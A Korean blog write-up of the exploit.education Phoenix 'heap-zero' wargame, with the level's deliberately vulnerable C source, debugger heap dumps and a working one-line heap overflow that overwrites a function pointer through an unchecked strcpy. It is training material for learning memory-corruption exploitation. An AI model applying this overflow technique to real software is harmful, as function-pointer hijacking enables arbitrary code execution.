728x90
반응형
1. intro
2. code 및 분석
2.1. C code
/*
* phoenix/heap-zero, by https://exploit.education
*
* Can you hijack flow control, and execute the winner function?
*
* Why do C programmers make good Buddhists?
* Because they're not object orientated.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct data {
char name[64];
};
struct fp {
void (*fp)();
char __pad[64 - sizeof(unsigned long)];
};
void winner() {
printf("Congratulations, you have passed this level\n");
}
void nowinner() {
printf(
"level has not been passed - function pointer has not been "
"overwritten\n");
}
int main(int argc, char **argv) {
struct data *d;
struct fp *f;
printf("%s\n", BANNER);
if (argc < 2) {
printf("Please specify an argument to copy :-)\n");
exit(1);
}
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
strcpy(d->name, argv[1]);
printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);
fflush(stdout);
f->fp();
return 0;
}
2.2. 분석
data 및 fp 구조체 선언 후 해당 값 들을 heap 영역에 할당하며, 각각의 주소 포인터를 d와 f 변수에 넣는다.
이후 fp 구조체의 fp 값을 nowinner로 설정한다.
이후 data 구조체의 name에 argv[1]의 값을 복사하고, data, fp 구조체의 포인터 주소와 fp 구조체의 heap 영역 주소를 출력한 뒤 fp 구조체의 fp 값을 참조하여 함수를 실행한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
strcpy시 크기를 체크하지 않아 data 구조체의 name 변수 위치를 넘어 fp 구조체의 값을 덮어씌울 수 있다.
3.2. 공격 준비
우선 winner 주소 확인.
gef> p winner
$1 = {<text variable, no debug info>} 0x400abd <winner>
A를 64개 삽입 후 heap 영역을 보면 아래와 같다.
gef> x/40gx 0x00007ffff7ef6010
0x7ffff7ef6010: 0x4141414141414141 0x4141414141414141
0x7ffff7ef6020: 0x4141414141414141 0x4141414141414141
0x7ffff7ef6030: 0x4141414141414141 0x4141414141414141
0x7ffff7ef6040: 0x4141414141414141 0x4141414141414141
---------------------------- 여기까지 data 구조체
0x7ffff7ef6050: 0x0000000000000000 0x0000000000000051
0x7ffff7ef6060: 0x0000000000400ace 0x0000000000000000
0x7ffff7ef6070: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000 0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000 0x0000000000000000
0x7ffff7ef60a0: 0x0000000000000000 0x00000000000fff61
---------------------------- 여기까지 fp 구조체
그러므로 16ea의 데이터를 더 삽입하고 winner 주소를 삽입하면 이를 실행할 것이다.
4. exploit
user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero "`perl -e 'print "A"x80 , "\xbd\x0a\x40"'`"
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400abd
Congratulations, you have passed this level
728x90
반응형
'Wargame > Exploit Education' 카테고리의 다른 글
[Phoenix] Heap two (0) | 2022.10.06 |
---|---|
[Phoenix] Heap one (0) | 2022.10.04 |
[Phoenix] Format four (0) | 2022.09.30 |
[Phoenix] Format three (0) | 2022.09.30 |
[Phoenix] Format two (0) | 2022.09.29 |